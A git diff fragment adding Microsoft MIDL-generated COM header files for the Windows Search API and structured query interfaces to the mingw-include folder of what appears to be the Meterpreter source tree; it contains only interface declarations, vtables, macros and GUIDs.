+            /* [string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszVersionString) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetIndexerVersion( 
+            /* [out] */ __RPC__out DWORD *pdwMajor,
+            /* [out] */ __RPC__out DWORD *pdwMinor) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetParameter( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetParameter( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in const PROPVARIANT *pValue) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProxyName( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszProxyName) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BypassList( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszBypassList) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetProxy( 
+            /* [in] */ PROXY_ACCESS sUseProxy,
+            /* [in] */ BOOL fLocalByPassProxy,
+            /* [in] */ DWORD dwPortNumber,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszProxyName,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszByPassList) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetCatalog( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCatalogManager **ppCatalogManager) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UserAgent( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszUserAgent) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UserAgent( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszUserAgent) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UseProxy( 
+            /* [retval][out] */ __RPC__out PROXY_ACCESS *pUseProxy) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_LocalBypass( 
+            /* [retval][out] */ __RPC__out BOOL *pfLocalBypass) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PortNumber( 
+            /* [retval][out] */ __RPC__out DWORD *pdwPortNumber) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchManagerVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchManager * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchManager * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetIndexerVersionStr )( 
+            __RPC__in ISearchManager * This,
+            /* [string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszVersionString);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetIndexerVersion )( 
+            __RPC__in ISearchManager * This,
+            /* [out] */ __RPC__out DWORD *pdwMajor,
+            /* [out] */ __RPC__out DWORD *pdwMinor);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParameter )( 
+            __RPC__in ISearchManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetParameter )( 
+            __RPC__in ISearchManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in const PROPVARIANT *pValue);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProxyName )( 
+            __RPC__in ISearchManager * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszProxyName);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BypassList )( 
+            __RPC__in ISearchManager * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszBypassList);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetProxy )( 
+            __RPC__in ISearchManager * This,
+            /* [in] */ PROXY_ACCESS sUseProxy,
+            /* [in] */ BOOL fLocalByPassProxy,
+            /* [in] */ DWORD dwPortNumber,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszProxyName,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszByPassList);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCatalog )( 
+            __RPC__in ISearchManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCatalogManager **ppCatalogManager);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UserAgent )( 
+            __RPC__in ISearchManager * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszUserAgent);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UserAgent )( 
+            __RPC__in ISearchManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszUserAgent);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UseProxy )( 
+            __RPC__in ISearchManager * This,
+            /* [retval][out] */ __RPC__out PROXY_ACCESS *pUseProxy);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_LocalBypass )( 
+            __RPC__in ISearchManager * This,
+            /* [retval][out] */ __RPC__out BOOL *pfLocalBypass);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PortNumber )( 
+            __RPC__in ISearchManager * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwPortNumber);
+        
+        END_INTERFACE
+    } ISearchManagerVtbl;
+
+    interface ISearchManager
+    {
+        CONST_VTBL struct ISearchManagerVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchManager_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchManager_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchManager_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchManager_GetIndexerVersionStr(This,ppszVersionString)	\
+    ( (This)->lpVtbl -> GetIndexerVersionStr(This,ppszVersionString) ) 
+
+#define ISearchManager_GetIndexerVersion(This,pdwMajor,pdwMinor)	\
+    ( (This)->lpVtbl -> GetIndexerVersion(This,pdwMajor,pdwMinor) ) 
+
+#define ISearchManager_GetParameter(This,pszName,ppValue)	\
+    ( (This)->lpVtbl -> GetParameter(This,pszName,ppValue) ) 
+
+#define ISearchManager_SetParameter(This,pszName,pValue)	\
+    ( (This)->lpVtbl -> SetParameter(This,pszName,pValue) ) 
+
+#define ISearchManager_get_ProxyName(This,ppszProxyName)	\
+    ( (This)->lpVtbl -> get_ProxyName(This,ppszProxyName) ) 
+
+#define ISearchManager_get_BypassList(This,ppszBypassList)	\
+    ( (This)->lpVtbl -> get_BypassList(This,ppszBypassList) ) 
+
+#define ISearchManager_SetProxy(This,sUseProxy,fLocalByPassProxy,dwPortNumber,pszProxyName,pszByPassList)	\
+    ( (This)->lpVtbl -> SetProxy(This,sUseProxy,fLocalByPassProxy,dwPortNumber,pszProxyName,pszByPassList) ) 
+
+#define ISearchManager_GetCatalog(This,pszCatalog,ppCatalogManager)	\
+    ( (This)->lpVtbl -> GetCatalog(This,pszCatalog,ppCatalogManager) ) 
+
+#define ISearchManager_get_UserAgent(This,ppszUserAgent)	\
+    ( (This)->lpVtbl -> get_UserAgent(This,ppszUserAgent) ) 
+
+#define ISearchManager_put_UserAgent(This,pszUserAgent)	\
+    ( (This)->lpVtbl -> put_UserAgent(This,pszUserAgent) ) 
+
+#define ISearchManager_get_UseProxy(This,pUseProxy)	\
+    ( (This)->lpVtbl -> get_UseProxy(This,pUseProxy) ) 
+
+#define ISearchManager_get_LocalBypass(This,pfLocalBypass)	\
+    ( (This)->lpVtbl -> get_LocalBypass(This,pfLocalBypass) ) 
+
+#define ISearchManager_get_PortNumber(This,pdwPortNumber)	\
+    ( (This)->lpVtbl -> get_PortNumber(This,pdwPortNumber) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchManager_INTERFACE_DEFINED__ */
+
+
+#ifndef __ISearchManager2_INTERFACE_DEFINED__
+#define __ISearchManager2_INTERFACE_DEFINED__
+
+/* interface ISearchManager2 */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchManager2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("DBAB3F73-DB19-4A79-BFC0-A61A93886DDF")
+    ISearchManager2 : public ISearchManager
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE CreateCatalog( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog,
+            /* [out] */ __RPC__deref_out_opt ISearchCatalogManager **ppCatalogManager) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE DeleteCatalog( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchManager2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchManager2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchManager2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetIndexerVersionStr )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszVersionString);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetIndexerVersion )( 
+            __RPC__in ISearchManager2 * This,
+            /* [out] */ __RPC__out DWORD *pdwMajor,
+            /* [out] */ __RPC__out DWORD *pdwMinor);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParameter )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetParameter )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in const PROPVARIANT *pValue);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProxyName )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszProxyName);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BypassList )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszBypassList);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetProxy )( 
+            __RPC__in ISearchManager2 * This,
+            /* [in] */ PROXY_ACCESS sUseProxy,
+            /* [in] */ BOOL fLocalByPassProxy,
+            /* [in] */ DWORD dwPortNumber,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszProxyName,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszByPassList);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCatalog )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCatalogManager **ppCatalogManager);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UserAgent )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszUserAgent);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UserAgent )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszUserAgent);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UseProxy )( 
+            __RPC__in ISearchManager2 * This,
+            /* [retval][out] */ __RPC__out PROXY_ACCESS *pUseProxy);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_LocalBypass )( 
+            __RPC__in ISearchManager2 * This,
+            /* [retval][out] */ __RPC__out BOOL *pfLocalBypass);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PortNumber )( 
+            __RPC__in ISearchManager2 * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwPortNumber);
+        
+        HRESULT ( STDMETHODCALLTYPE *CreateCatalog )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog,
+            /* [out] */ __RPC__deref_out_opt ISearchCatalogManager **ppCatalogManager);
+        
+        HRESULT ( STDMETHODCALLTYPE *DeleteCatalog )( 
+            __RPC__in ISearchManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszCatalog);
+        
+        END_INTERFACE
+    } ISearchManager2Vtbl;
+
+    interface ISearchManager2
+    {
+        CONST_VTBL struct ISearchManager2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchManager2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchManager2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchManager2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchManager2_GetIndexerVersionStr(This,ppszVersionString)	\
+    ( (This)->lpVtbl -> GetIndexerVersionStr(This,ppszVersionString) ) 
+
+#define ISearchManager2_GetIndexerVersion(This,pdwMajor,pdwMinor)	\
+    ( (This)->lpVtbl -> GetIndexerVersion(This,pdwMajor,pdwMinor) ) 
+
+#define ISearchManager2_GetParameter(This,pszName,ppValue)	\
+    ( (This)->lpVtbl -> GetParameter(This,pszName,ppValue) ) 
+
+#define ISearchManager2_SetParameter(This,pszName,pValue)	\
+    ( (This)->lpVtbl -> SetParameter(This,pszName,pValue) ) 
+
+#define ISearchManager2_get_ProxyName(This,ppszProxyName)	\
+    ( (This)->lpVtbl -> get_ProxyName(This,ppszProxyName) ) 
+
+#define ISearchManager2_get_BypassList(This,ppszBypassList)	\
+    ( (This)->lpVtbl -> get_BypassList(This,ppszBypassList) ) 
+
+#define ISearchManager2_SetProxy(This,sUseProxy,fLocalByPassProxy,dwPortNumber,pszProxyName,pszByPassList)	\
+    ( (This)->lpVtbl -> SetProxy(This,sUseProxy,fLocalByPassProxy,dwPortNumber,pszProxyName,pszByPassList) ) 
+
+#define ISearchManager2_GetCatalog(This,pszCatalog,ppCatalogManager)	\
+    ( (This)->lpVtbl -> GetCatalog(This,pszCatalog,ppCatalogManager) ) 
+
+#define ISearchManager2_get_UserAgent(This,ppszUserAgent)	\
+    ( (This)->lpVtbl -> get_UserAgent(This,ppszUserAgent) ) 
+
+#define ISearchManager2_put_UserAgent(This,pszUserAgent)	\
+    ( (This)->lpVtbl -> put_UserAgent(This,pszUserAgent) ) 
+
+#define ISearchManager2_get_UseProxy(This,pUseProxy)	\
+    ( (This)->lpVtbl -> get_UseProxy(This,pUseProxy) ) 
+
+#define ISearchManager2_get_LocalBypass(This,pfLocalBypass)	\
+    ( (This)->lpVtbl -> get_LocalBypass(This,pfLocalBypass) ) 
+
+#define ISearchManager2_get_PortNumber(This,pdwPortNumber)	\
+    ( (This)->lpVtbl -> get_PortNumber(This,pdwPortNumber) ) 
+
+
+#define ISearchManager2_CreateCatalog(This,pszCatalog,ppCatalogManager)	\
+    ( (This)->lpVtbl -> CreateCatalog(This,pszCatalog,ppCatalogManager) ) 
+
+#define ISearchManager2_DeleteCatalog(This,pszCatalog)	\
+    ( (This)->lpVtbl -> DeleteCatalog(This,pszCatalog) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchManager2_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0026 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+EXTERN_C const CLSID CLSID_CSearchLanguageSupport;
+#ifdef __cplusplus
+class DECLSPEC_UUID("6A68CC80-4337-4dbc-BD27-FBFB1053820B")
+CSearchLanguageSupport;
+#endif
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0026_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0026_v0_0_s_ifspec;
+
+#ifndef __ISearchLanguageSupport_INTERFACE_DEFINED__
+#define __ISearchLanguageSupport_INTERFACE_DEFINED__
+
+/* interface ISearchLanguageSupport */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchLanguageSupport;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("24C3CBAA-EBC1-491a-9EF1-9F6D8DEB1B8F")
+    ISearchLanguageSupport : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE SetDiacriticSensitivity( 
+            /* [in] */ BOOL fDiacriticSensitive) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetDiacriticSensitivity( 
+            /* [retval][out] */ __RPC__out BOOL *pfDiacriticSensitive) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE LoadWordBreaker( 
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppWordBreaker,
+            /* [out] */ __RPC__out LCID *pLcidUsed) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE LoadStemmer( 
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppStemmer,
+            /* [out] */ __RPC__out LCID *pLcidUsed) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE IsPrefixNormalized( 
+            /* [size_is][in] */ __RPC__in_ecount_full(cwcQueryToken) LPCWSTR pwcsQueryToken,
+            /* [in] */ ULONG cwcQueryToken,
+            /* [size_is][in] */ __RPC__in_ecount_full(cwcDocumentToken) LPCWSTR pwcsDocumentToken,
+            /* [in] */ ULONG cwcDocumentToken,
+            /* [out] */ __RPC__out ULONG *pulPrefixLength) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchLanguageSupportVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchLanguageSupport * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchLanguageSupport * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetDiacriticSensitivity )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [in] */ BOOL fDiacriticSensitive);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetDiacriticSensitivity )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [retval][out] */ __RPC__out BOOL *pfDiacriticSensitive);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadWordBreaker )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppWordBreaker,
+            /* [out] */ __RPC__out LCID *pLcidUsed);
+        
+        HRESULT ( STDMETHODCALLTYPE *LoadStemmer )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [in] */ LCID lcid,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppStemmer,
+            /* [out] */ __RPC__out LCID *pLcidUsed);
+        
+        HRESULT ( STDMETHODCALLTYPE *IsPrefixNormalized )( 
+            __RPC__in ISearchLanguageSupport * This,
+            /* [size_is][in] */ __RPC__in_ecount_full(cwcQueryToken) LPCWSTR pwcsQueryToken,
+            /* [in] */ ULONG cwcQueryToken,
+            /* [size_is][in] */ __RPC__in_ecount_full(cwcDocumentToken) LPCWSTR pwcsDocumentToken,
+            /* [in] */ ULONG cwcDocumentToken,
+            /* [out] */ __RPC__out ULONG *pulPrefixLength);
+        
+        END_INTERFACE
+    } ISearchLanguageSupportVtbl;
+
+    interface ISearchLanguageSupport
+    {
+        CONST_VTBL struct ISearchLanguageSupportVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchLanguageSupport_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchLanguageSupport_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchLanguageSupport_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchLanguageSupport_SetDiacriticSensitivity(This,fDiacriticSensitive)	\
+    ( (This)->lpVtbl -> SetDiacriticSensitivity(This,fDiacriticSensitive) ) 
+
+#define ISearchLanguageSupport_GetDiacriticSensitivity(This,pfDiacriticSensitive)	\
+    ( (This)->lpVtbl -> GetDiacriticSensitivity(This,pfDiacriticSensitive) ) 
+
+#define ISearchLanguageSupport_LoadWordBreaker(This,lcid,riid,ppWordBreaker,pLcidUsed)	\
+    ( (This)->lpVtbl -> LoadWordBreaker(This,lcid,riid,ppWordBreaker,pLcidUsed) ) 
+
+#define ISearchLanguageSupport_LoadStemmer(This,lcid,riid,ppStemmer,pLcidUsed)	\
+    ( (This)->lpVtbl -> LoadStemmer(This,lcid,riid,ppStemmer,pLcidUsed) ) 
+
+#define ISearchLanguageSupport_IsPrefixNormalized(This,pwcsQueryToken,cwcQueryToken,pwcsDocumentToken,cwcDocumentToken,pulPrefixLength)	\
+    ( (This)->lpVtbl -> IsPrefixNormalized(This,pwcsQueryToken,cwcQueryToken,pwcsDocumentToken,cwcDocumentToken,pulPrefixLength) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchLanguageSupport_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0027 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0027_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0027_v0_0_s_ifspec;
+
+
+#ifndef __SearchAPILib_LIBRARY_DEFINED__
+#define __SearchAPILib_LIBRARY_DEFINED__
+
+/* library SearchAPILib */
+/* [version][uuid] */ 
+
+
+
+
+
+
+
+
+
+EXTERN_C const IID LIBID_SearchAPILib;
+
+EXTERN_C const CLSID CLSID_CSearchManager;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("7D096C5F-AC08-4f1f-BEB7-5C22C517CE39")
+CSearchManager;
+#endif
+
+EXTERN_C const CLSID CLSID_CSearchRoot;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("30766BD2-EA1C-4F28-BF27-0B44E2F68DB7")
+CSearchRoot;
+#endif
+
+EXTERN_C const CLSID CLSID_CSearchScopeRule;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("E63DE750-3BD7-4BE5-9C84-6B4281988C44")
+CSearchScopeRule;
+#endif
+
+EXTERN_C const CLSID CLSID_FilterRegistration;
+
+#ifdef __cplusplus
+
+class DECLSPEC_UUID("9E175B8D-F52A-11D8-B9A5-505054503030")
+FilterRegistration;
+#endif
+#endif /* __SearchAPILib_LIBRARY_DEFINED__ */
+
+/* interface __MIDL_itf_searchapi_0000_0028 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0028_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0028_v0_0_s_ifspec;
+
+/* Additional Prototypes for ALL interfaces */
+
+unsigned long             __RPC_USER  BSTR_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
+unsigned long             __RPC_USER  BSTR_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * ); 
+unsigned char * __RPC_USER  BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * ); 
+void                      __RPC_USER  BSTR_UserFree64(     __RPC__in unsigned long *, __RPC__in BSTR * ); 
+
+unsigned long             __RPC_USER  LPSAFEARRAY_UserSize64(     __RPC__in unsigned long *, unsigned long            , __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserMarshal64(  __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * ); 
+unsigned char * __RPC_USER  LPSAFEARRAY_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * ); 
+void                      __RPC_USER  LPSAFEARRAY_UserFree64(     __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * ); 
+
+/* [local] */ HRESULT STDMETHODCALLTYPE ISearchCrawlScopeManager2_GetVersion_Proxy( 
+    ISearchCrawlScopeManager2 * This,
+    /* [out] */ long **plVersion,
+    /* [out] */ HANDLE *phFileMapping);
+
+
+/* [call_as] */ HRESULT STDMETHODCALLTYPE ISearchCrawlScopeManager2_GetVersion_Stub( 
+    __RPC__in ISearchCrawlScopeManager2 * This,
+    /* [out] */ __RPC__out long *plVersion);
+
+
+
+/* end of Additional Prototypes */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+
+
diff --git a/c/meterpreter/source/mingw-include/structuredquery.h b/c/meterpreter/source/mingw-include/structuredquery.h
new file mode 100644
index 00000000..5978499d
--- /dev/null
+++ b/c/meterpreter/source/mingw-include/structuredquery.h
@@ -0,0 +1,2579 @@
+
+
+/* this ALWAYS GENERATED file contains the definitions for the interfaces */
+
+
+ /* File created by MIDL compiler version 8.01.0622 */
+/* @@MIDL_FILE_HEADING(  ) */
+
+
+
+/* verify that the <rpcndr.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCNDR_H_VERSION__
+#define __REQUIRED_RPCNDR_H_VERSION__ 500
+#endif
+
+/* verify that the <rpcsal.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCSAL_H_VERSION__
+#define __REQUIRED_RPCSAL_H_VERSION__ 100
+#endif
+
+#include "rpc.h"
+#include "rpcndr.h"
+
+#ifndef __RPCNDR_H_VERSION__
+#error this stub requires an updated version of <rpcndr.h>
+#endif /* __RPCNDR_H_VERSION__ */
+
+#ifndef COM_NO_WINDOWS_H
+#include "windows.h"
+#include "ole2.h"
+#endif /*COM_NO_WINDOWS_H*/
+
+#ifndef __structuredquery_h__
+#define __structuredquery_h__
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+#pragma once
+#endif
+
+/* Forward Declarations */ 
+
+#ifndef __IQueryParser_FWD_DEFINED__
+#define __IQueryParser_FWD_DEFINED__
+typedef interface IQueryParser IQueryParser;
+
+#endif 	/* __IQueryParser_FWD_DEFINED__ */
+
+
+#ifndef __IConditionFactory_FWD_DEFINED__
+#define __IConditionFactory_FWD_DEFINED__
+typedef interface IConditionFactory IConditionFactory;
+
